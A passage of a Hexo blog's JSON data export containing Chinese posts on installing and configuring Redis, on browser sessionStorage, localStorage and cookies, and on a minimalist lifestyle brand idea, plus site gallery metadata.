title=\"修改redis.conf\"></a>修改redis.conf</h2><pre><code class=\"t\">#修改为守护模式\ndaemonize yes\n#设置进程锁文件\npidfile /usr/local/redis-3.2.8/redis.pid\n#端口\nport 6379\n#客户端超时时间\ntimeout 300\n#日志级别\nloglevel debug\n#日志文件位置\nlogfile /usr/local/redis-3.2.8/log-redis.log\n#设置数据库的数量，默认数据库为0，可以使用SELECT &lt;dbid&gt;命令在连接上指定数据库id\ndatabases 16\n##指定在多长时间内，有多少次更新操作，就将数据同步到数据文件，可以多个条件配合\n#save &lt;seconds&gt; &lt;changes&gt;\n#Redis默认配置文件中提供了三个条件：\nsave 900 1\nsave 300 10\nsave 60 10000\n#指定存储至本地数据库时是否压缩数据，默认为yes，Redis采用LZF压缩，如果为了节省CPU时间，\n#可以关闭该#选项，但会导致数据库文件变的巨大\nrdbcompression yes\n#指定本地数据库文件名\ndbfilename dump.rdb\n#指定本地数据库路径\ndir /usr/local/redis-3.2.8/db/\n#指定是否在每次更新操作后进行日志记录，Redis在默认情况下是异步的把数据写入磁盘，如果不开启，可能\n#会在断电时导致一段时间内的数据丢失。因为 redis本身同步数据文件是按上面save条件来同步的，所以有\n#的数据会在一段时间内只存在于内存中\nappendonly no\n#指定更新日志条件，共有3个可选值：\n#no：表示等操作系统进行数据缓存同步到磁盘（快）\n#always：表示每次更新操作后手动调用fsync()将数据写到磁盘（慢，安全）\n#everysec：表示每秒同步一次（折衷，默认值）\nappendfsync everysec\n</code></pre>\n<h2 id=\"启动服务\"><a href=\"#启动服务\" class=\"headerlink\" title=\"启动服务\"></a>启动服务</h2><pre><code class=\"t\">启动\n./bin/redis-server etc/redis.conf\n查看日志\ntail -f log-redis.log\nOK\n./bin/redis-cli\n</code></pre>\n<h2 id=\"基本命令\"><a href=\"#基本命令\" class=\"headerlink\" title=\"基本命令\"></a>基本命令</h2><pre><code class=\"redis\">查看所有数据\nkeys *\n插入键值对\n\bset a b\n查看数据\nget a\n</code></pre>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"redis-环境搭建\"><a href=\"#redis-环境搭建\" class=\"headerlink\" title=\"redis 环境搭建\"></a>redis 环境搭建</h1><h2 id=\"下载\"><a href=\"#下载\" class=\"headerlink\" title=\"下载\"></a>下载</h2><p><a href=\"https://redis.io/\" target=\"_blank\" rel=\"noopener\">官方网站</a></p>\n<h2 id=\"安装\"><a href=\"#安装\" class=\"headerlink\" title=\"安装\"></a>安装</h2><pre><code class=\"js\">解压\ntar zxvf redis-4.0.8.tar.gz\n移动文件夹\nmv redis-4.0.8 /usr/local/\n打开该文件夹\ncd /usr/local/redis-4.0.8/\n编译测试\nsudo make test\n编译安装\nsudo make install\n</code></pre>\n<h2 id=\"启动\"><a href=\"#启动\" class=\"headerlink\" title=\"启动\"></a>启动</h2><pre><code class=\"js\">redis-server\n</code></pre>\n<h2 id=\"配置\"><a href=\"#配置\" class=\"headerlink\" title=\"配置\"></a>配置</h2><pre><code class=\"t\">新建目录\nsudo mkdir  redis-4.0.8/bin\nsudo mkdir  redis-4.0.8/etc\nsudo mkdir  redis-4.0.8/db\n拷贝文件\ncp src/mkreleasehdr.sh bin\ncp src/redis-benchmark bin\ncp src/redis-check-rdb bin\ncp src/redis-cli bin\ncp src/redis-server bin\n</code></pre>\n<h2 id=\"修改redis-conf\"><a href=\"#修改redis-conf\" class=\"headerlink\" title=\"修改redis.conf\"></a>修改redis.conf</h2><pre><code class=\"t\">#修改为守护模式\ndaemonize yes\n#设置进程锁文件\npidfile /usr/local/redis-3.2.8/redis.pid\n#端口\nport 6379\n#客户端超时时间\ntimeout 300\n#日志级别\nloglevel debug\n#日志文件位置\nlogfile /usr/local/redis-3.2.8/log-redis.log\n#设置数据库的数量，默认数据库为0，可以使用SELECT &lt;dbid&gt;命令在连接上指定数据库id\ndatabases 16\n##指定在多长时间内，有多少次更新操作，就将数据同步到数据文件，可以多个条件配合\n#save &lt;seconds&gt; &lt;changes&gt;\n#Redis默认配置文件中提供了三个条件：\nsave 900 1\nsave 300 10\nsave 60 10000\n#指定存储至本地数据库时是否压缩数据，默认为yes，Redis采用LZF压缩，如果为了节省CPU时间，\n#可以关闭该#选项，但会导致数据库文件变的巨大\nrdbcompression yes\n#指定本地数据库文件名\ndbfilename dump.rdb\n#指定本地数据库路径\ndir /usr/local/redis-3.2.8/db/\n#指定是否在每次更新操作后进行日志记录，Redis在默认情况下是异步的把数据写入磁盘，如果不开启，可能\n#会在断电时导致一段时间内的数据丢失。因为 redis本身同步数据文件是按上面save条件来同步的，所以有\n#的数据会在一段时间内只存在于内存中\nappendonly no\n#指定更新日志条件，共有3个可选值：\n#no：表示等操作系统进行数据缓存同步到磁盘（快）\n#always：表示每次更新操作后手动调用fsync()将数据写到磁盘（慢，安全）\n#everysec：表示每秒同步一次（折衷，默认值）\nappendfsync everysec\n</code></pre>\n<h2 id=\"启动服务\"><a href=\"#启动服务\" class=\"headerlink\" title=\"启动服务\"></a>启动服务</h2><pre><code class=\"t\">启动\n./bin/redis-server etc/redis.conf\n查看日志\ntail -f log-redis.log\nOK\n./bin/redis-cli\n</code></pre>\n<h2 id=\"基本命令\"><a href=\"#基本命令\" class=\"headerlink\" title=\"基本命令\"></a>基本命令</h2><pre><code class=\"redis\">查看所有数据\nkeys *\n插入键值对\n\bset a b\n查看数据\nget a\n</code></pre>\n"},{"title":"sessionStorage localStotage AND cookies","date":"2017-08-16T03:57:16.000Z","_content":"\n### sessionStorage\n> 引入一个浏览器窗口的概念，开启在同源的同窗口，即使跳到其他页面，数据仍然存在，页面刷新也不会消除数据，\n#### 特点\n* 减少网络流量：一旦数据保存在本地后，就可以避免再向服务器请求数据，因此减少不必要的数据请求，减少数据在浏览器和服务器间不必要地来回传递\n* 快速显示数据：性能好，从本地读数据比通过网络从服务器获得数据快得多，本地数据可以即时获得。再加上网页本身也可以有缓存，因此整个页面和数据都在本地的话，可以立即显示\n* 临时储存：很多时候数据只需要在用户浏览一组页面期间使用，关闭窗口后数据就可以丢弃了，这种情况使用sessionStorage非常方便\n\n### cookie\n> 数据始终在同源的http请求中携带（即使不需要），即cookie在浏览器和服务器间来回传递，数据还有路径（path）的概念，可以限制cookie只属于某个路径下。\n#### 特点\n* cookie数据不能超过4k，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，如会话标识\n* 只在设置的cookie过期时间之前一直有效，即使窗口或浏览器关闭,即有一个过期值\n* cookie也是在所有同源窗口中都是共享的。\n\n### localStorage\n\n#### 特点\n* 生命周期是永久性的。假若使用localStorage存储数据，即使关闭浏览器，也不会让数据消失，除非主动的去删除数据，使用的方法如上所示。localStorage有length属性，可以查看其有多少条记录的数据。\n\n使用方法:\n\n```\nvar storage = null;  \n    if(window.localStorage){              //判断浏览器是否支持localStorage  \n       storage = window.localStorage;       \n       storage.setItem(\"name\", \"Rick\");    //调用setItem方法，存储数据  \n       alert(storage.getItem(\"name\"));     //调用getItem方法，弹框显示 name 为 Rick  \n       storage.removeItem(\"name\");     //调用removeItem方法，移除数据  \n       alert(storage.getItem(\"name\"));   //调用getItem方法，弹框显示 name 为 null  \n  \n    }  \n```","source":"_posts/sessionStorage-localStotage-AND-cookies.md","raw":"---\ntitle: sessionStorage localStotage AND cookies\ndate: 2017-08-16 11:57:16\ntags: [sessionStorage, localStotage, cookies]\ncategories: storage\n---\n\n### sessionStorage\n> 引入一个浏览器窗口的概念，开启在同源的同窗口，即使跳到其他页面，数据仍然存在，页面刷新也不会消除数据，\n#### 特点\n* 减少网络流量：一旦数据保存在本地后，就可以避免再向服务器请求数据，因此减少不必要的数据请求，减少数据在浏览器和服务器间不必要地来回传递\n* 快速显示数据：性能好，从本地读数据比通过网络从服务器获得数据快得多，本地数据可以即时获得。再加上网页本身也可以有缓存，因此整个页面和数据都在本地的话，可以立即显示\n* 临时储存：很多时候数据只需要在用户浏览一组页面期间使用，关闭窗口后数据就可以丢弃了，这种情况使用sessionStorage非常方便\n\n### cookie\n> 数据始终在同源的http请求中携带（即使不需要），即cookie在浏览器和服务器间来回传递，数据还有路径（path）的概念，可以限制cookie只属于某个路径下。\n#### 特点\n* cookie数据不能超过4k，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，如会话标识\n* 只在设置的cookie过期时间之前一直有效，即使窗口或浏览器关闭,即有一个过期值\n* cookie也是在所有同源窗口中都是共享的。\n\n### localStorage\n\n#### 特点\n* 生命周期是永久性的。假若使用localStorage存储数据，即使关闭浏览器，也不会让数据消失，除非主动的去删除数据，使用的方法如上所示。localStorage有length属性，可以查看其有多少条记录的数据。\n\n使用方法:\n\n```\nvar storage = null;  \n    if(window.localStorage){              //判断浏览器是否支持localStorage  \n       storage = window.localStorage;       \n       storage.setItem(\"name\", \"Rick\");    //调用setItem方法，存储数据  \n       alert(storage.getItem(\"name\"));     //调用getItem方法，弹框显示 name 为 Rick  \n       storage.removeItem(\"name\");     //调用removeItem方法，移除数据  \n       alert(storage.getItem(\"name\"));   //调用getItem方法，弹框显示 name 为 null  \n  \n    }  \n```","slug":"sessionStorage-localStotage-AND-cookies","published":1,"updated":"2018-01-22T06:04:26.424Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5j001ovzqhe2vbu6w5","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h3 id=\"sessionStorage\"><a href=\"#sessionStorage\" class=\"headerlink\" title=\"sessionStorage\"></a>sessionStorage</h3><blockquote>\n<p>引入一个浏览器窗口的概念，开启在同源的同窗口，即使跳到其他页面，数据仍然存在，页面刷新也不会消除数据，</p>\n</blockquote>\n<h4 id=\"特点\"><a href=\"#特点\" class=\"headerlink\" title=\"特点\"></a>特点</h4><ul>\n<li>减少网络流量：一旦数据保存在本地后，就可以避免再向服务器请求数据，因此减少不必要的数据请求，减少数据在浏览器和服务器间不必要地来回传递</li>\n<li>快速显示数据：性能好，从本地读数据比通过网络从服务器获得数据快得多，本地数据可以即时获得。再加上网页本身也可以有缓存，因此整个页面和数据都在本地的话，可以立即显示</li>\n<li>临时储存：很多时候数据只需要在用户浏览一组页面期间使用，关闭窗口后数据就可以丢弃了，这种情况使用sessionStorage非常方便</li>\n</ul>\n<h3 id=\"cookie\"><a href=\"#cookie\" class=\"headerlink\" title=\"cookie\"></a>cookie</h3><blockquote>\n<p>数据始终在同源的http请求中携带（即使不需要），即cookie在浏览器和服务器间来回传递，数据还有路径（path）的概念，可以限制cookie只属于某个路径下。</p>\n</blockquote>\n<h4 id=\"特点-1\"><a href=\"#特点-1\" class=\"headerlink\" title=\"特点\"></a>特点</h4><ul>\n<li>cookie数据不能超过4k，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，如会话标识</li>\n<li>只在设置的cookie过期时间之前一直有效，即使窗口或浏览器关闭,即有一个过期值</li>\n<li>cookie也是在所有同源窗口中都是共享的。</li>\n</ul>\n<h3 id=\"localStorage\"><a href=\"#localStorage\" class=\"headerlink\" title=\"localStorage\"></a>localStorage</h3><h4 id=\"特点-2\"><a href=\"#特点-2\" class=\"headerlink\" title=\"特点\"></a>特点</h4><ul>\n<li>生命周期是永久性的。假若使用localStorage存储数据，即使关闭浏览器，也不会让数据消失，除非主动的去删除数据，使用的方法如上所示。localStorage有length属性，可以查看其有多少条记录的数据。</li>\n</ul>\n<p>使用方法:</p>\n<pre><code>var storage = null;  \n    if(window.localStorage){              //判断浏览器是否支持localStorage  \n       storage = window.localStorage;       \n       storage.setItem(&quot;name&quot;, &quot;Rick&quot;);    //调用setItem方法，存储数据  \n       alert(storage.getItem(&quot;name&quot;));     //调用getItem方法，弹框显示 name 为 Rick  \n       storage.removeItem(&quot;name&quot;);     //调用removeItem方法，移除数据  \n       alert(storage.getItem(&quot;name&quot;));   //调用getItem方法，弹框显示 name 为 null  \n\n    }  \n</code></pre>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h3 id=\"sessionStorage\"><a href=\"#sessionStorage\" class=\"headerlink\" title=\"sessionStorage\"></a>sessionStorage</h3><blockquote>\n<p>引入一个浏览器窗口的概念，开启在同源的同窗口，即使跳到其他页面，数据仍然存在，页面刷新也不会消除数据，</p>\n</blockquote>\n<h4 id=\"特点\"><a href=\"#特点\" class=\"headerlink\" title=\"特点\"></a>特点</h4><ul>\n<li>减少网络流量：一旦数据保存在本地后，就可以避免再向服务器请求数据，因此减少不必要的数据请求，减少数据在浏览器和服务器间不必要地来回传递</li>\n<li>快速显示数据：性能好，从本地读数据比通过网络从服务器获得数据快得多，本地数据可以即时获得。再加上网页本身也可以有缓存，因此整个页面和数据都在本地的话，可以立即显示</li>\n<li>临时储存：很多时候数据只需要在用户浏览一组页面期间使用，关闭窗口后数据就可以丢弃了，这种情况使用sessionStorage非常方便</li>\n</ul>\n<h3 id=\"cookie\"><a href=\"#cookie\" class=\"headerlink\" title=\"cookie\"></a>cookie</h3><blockquote>\n<p>数据始终在同源的http请求中携带（即使不需要），即cookie在浏览器和服务器间来回传递，数据还有路径（path）的概念，可以限制cookie只属于某个路径下。</p>\n</blockquote>\n<h4 id=\"特点-1\"><a href=\"#特点-1\" class=\"headerlink\" title=\"特点\"></a>特点</h4><ul>\n<li>cookie数据不能超过4k，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，如会话标识</li>\n<li>只在设置的cookie过期时间之前一直有效，即使窗口或浏览器关闭,即有一个过期值</li>\n<li>cookie也是在所有同源窗口中都是共享的。</li>\n</ul>\n<h3 id=\"localStorage\"><a href=\"#localStorage\" class=\"headerlink\" title=\"localStorage\"></a>localStorage</h3><h4 id=\"特点-2\"><a href=\"#特点-2\" class=\"headerlink\" title=\"特点\"></a>特点</h4><ul>\n<li>生命周期是永久性的。假若使用localStorage存储数据，即使关闭浏览器，也不会让数据消失，除非主动的去删除数据，使用的方法如上所示。localStorage有length属性，可以查看其有多少条记录的数据。</li>\n</ul>\n<p>使用方法:</p>\n<pre><code>var storage = null;  \n    if(window.localStorage){              //判断浏览器是否支持localStorage  \n       storage = window.localStorage;       \n       storage.setItem(&quot;name&quot;, &quot;Rick&quot;);    //调用setItem方法，存储数据  \n       alert(storage.getItem(&quot;name&quot;));     //调用getItem方法，弹框显示 name 为 Rick  \n       storage.removeItem(&quot;name&quot;);     //调用removeItem方法，移除数据  \n       alert(storage.getItem(&quot;name&quot;));   //调用getItem方法，弹框显示 name 为 null  \n\n    }  \n</code></pre>"},{"title":"simpleCountry","date":"2017-09-14T02:39:24.000Z","_content":"\n### 简介\n* 昨天晚上想到这个名字，觉得很酷炫，如果可以我想现在就用这个成立一个品牌。打造一个只有简单元素的社区，因为我本人就是一个极简主义者，不喜欢复杂花俏。从生活作为一个切入点。不管是衣食住行，都做到简单，完美。\n\n### 构思\n* 构建一款 app 产品，它没有花俏的外观，没有多余的赘述，只有简单的产品图片，购买按钮，收藏，做垂直细分,可以是服装，家居，交通工具。\n* 贯彻的理念是从生活出发，然后将自己的极简思想投入其中，艺术与生活相互结合。\n* 例如：一款座椅用一条腿代替4条腿，或者是两条腿代替4条腿，一体式座椅，服装，色调不花俏，单色或者是拼色，会给人简单美好\n\n待续~\n\n### 小记\n* 我喜欢摇滚，喜欢积极向上的生活，但不喜欢摇滚中的聒噪，所以我憧憬清摇滚，就是用清淡的节奏和热血的旋律谱写出简单的美好，这是我今后的目标，也会作为我的理念。\n","source":"_posts/simpleCountry.md","raw":"---\ntitle: simpleCountry\ndate: 2017-09-14 10:39:24\ntags: [SC]\ncategories: 生活\n---\n\n### 简介\n* 昨天晚上想到这个名字，觉得很酷炫，如果可以我想现在就用这个成立一个品牌。打造一个只有简单元素的社区，因为我本人就是一个极简主义者，不喜欢复杂花俏。从生活作为一个切入点。不管是衣食住行，都做到简单，完美。\n\n### 构思\n* 构建一款 app 产品，它没有花俏的外观，没有多余的赘述，只有简单的产品图片，购买按钮，收藏，做垂直细分,可以是服装，家居，交通工具。\n* 贯彻的理念是从生活出发，然后将自己的极简思想投入其中，艺术与生活相互结合。\n* 例如：一款座椅用一条腿代替4条腿，或者是两条腿代替4条腿，一体式座椅，服装，色调不花俏，单色或者是拼色，会给人简单美好\n\n待续~\n\n### 小记\n* 我喜欢摇滚，喜欢积极向上的生活，但不喜欢摇滚中的聒噪，所以我憧憬清摇滚，就是用清淡的节奏和热血的旋律谱写出简单的美好，这是我今后的目标，也会作为我的理念。\n","slug":"simpleCountry","published":1,"updated":"2018-01-22T06:31:18.750Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5k001rvzqh0km67qow","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h3 id=\"简介\"><a href=\"#简介\" class=\"headerlink\" title=\"简介\"></a>简介</h3><ul>\n<li>昨天晚上想到这个名字，觉得很酷炫，如果可以我想现在就用这个成立一个品牌。打造一个只有简单元素的社区，因为我本人就是一个极简主义者，不喜欢复杂花俏。从生活作为一个切入点。不管是衣食住行，都做到简单，完美。</li>\n</ul>\n<h3 id=\"构思\"><a href=\"#构思\" class=\"headerlink\" title=\"构思\"></a>构思</h3><ul>\n<li>构建一款 app 产品，它没有花俏的外观，没有多余的赘述，只有简单的产品图片，购买按钮，收藏，做垂直细分,可以是服装，家居，交通工具。</li>\n<li>贯彻的理念是从生活出发，然后将自己的极简思想投入其中，艺术与生活相互结合。</li>\n<li>例如：一款座椅用一条腿代替4条腿，或者是两条腿代替4条腿，一体式座椅，服装，色调不花俏，单色或者是拼色，会给人简单美好</li>\n</ul>\n<p>待续~</p>\n<h3 id=\"小记\"><a href=\"#小记\" class=\"headerlink\" title=\"小记\"></a>小记</h3><ul>\n<li>我喜欢摇滚，喜欢积极向上的生活，但不喜欢摇滚中的聒噪，所以我憧憬清摇滚，就是用清淡的节奏和热血的旋律谱写出简单的美好，这是我今后的目标，也会作为我的理念。</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"20